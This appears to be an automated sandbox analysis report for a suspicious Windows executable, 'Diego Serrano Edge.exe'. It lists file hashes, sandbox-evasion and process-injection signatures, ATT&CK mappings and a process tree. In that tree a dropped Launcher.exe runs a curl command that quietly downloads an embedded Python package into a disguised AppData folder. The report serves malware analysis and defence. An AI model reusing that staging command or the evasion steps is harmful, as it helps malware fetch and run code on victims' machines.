c749686a7a88987b1a544b3f13d12bd5f9a1a53539cf611ca0032059493d234a

Analysis

user interaction
yes
max time kernel
150s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Diego Serrano Edge.exe
Size 297KB
Sample260823-phdd8sab82
SHA256 c749686a7a88987b1a544b3f13d12bd5f9a1a53539cf611ca0032059493d234a
MD5 8d1c19924522aebe0a8a7c3f83c5547e
SHA1 a57f27bdde8c902b438f7c3ccaebf7c4bfe7ce81
SHA512 31df31ff475a7daee62a351e94cdca674d58df60bc5d2b17d480deeeeed7f1dd78c98705824f4a24348040dffc1c0403e503a0603220575621e6b6f22a4a8593
SSDEEP 6144:QKnYMVKJ0y60cbFD1OKVIAI82lUAE3JkHU6zR7q5WaFljLeRBu9/:QAhry60cl1OEYWxJCXq1D+EZ
TLSH
T1EB541247CE4B8590C4B199325847976BE42E7D591F2043DF4BEEA90ABEF67C0E2385C2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4820	Launcher.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Launcher.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Launcher.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 4820	4496	Diego Serrano Edge.exe	89
PID 4820 wrote to memory of 4692	4820	Launcher.exe	90

C:\Users\Admin\AppData\Local\Temp\Diego Serrano Edge.exe
"C:\Users\Admin\AppData\Local\Temp\Diego Serrano Edge.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Users\Admin\AppData\Local\Temp\89540E7B\Launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\89540E7B\Launcher.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\SYSTEM32\curl.exe
    "curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"
    3⤵
    PID:4692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Launcher.exe

Path C:\Users\Admin\AppData\Local\Temp\89540E7B\Launcher.exe
Size 1.1MB
SHA256 b6446de83e6853898caf5f944fef3698e1b6f968c5847aebbd4889afd8c135b2
MD5 c977d46cba956c94b4f39cf5c4e2a592
SHA1 9df7546c0f56731462682896f36788ef010ebeed
SHA512 388a301ab901c3e60fc81c4ed354c1a2445ace5075960e7003ab779f902db099afe55830e3b8219fc7c8e9e82f108a79ef87a404e21452486c96ad585f3d4bb6
SSDEEP 12288:bbs/m0E54jwaFXGc8lEBBBHGBKq2IZwD7vfqItNqdg:bbOVE5ifGPRZwXvf3fd
TLSH
T1C4357C83E7A385D8C116C9B5534BF137F9627C8E4B157197ABC41E633A67BA4E22CB00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download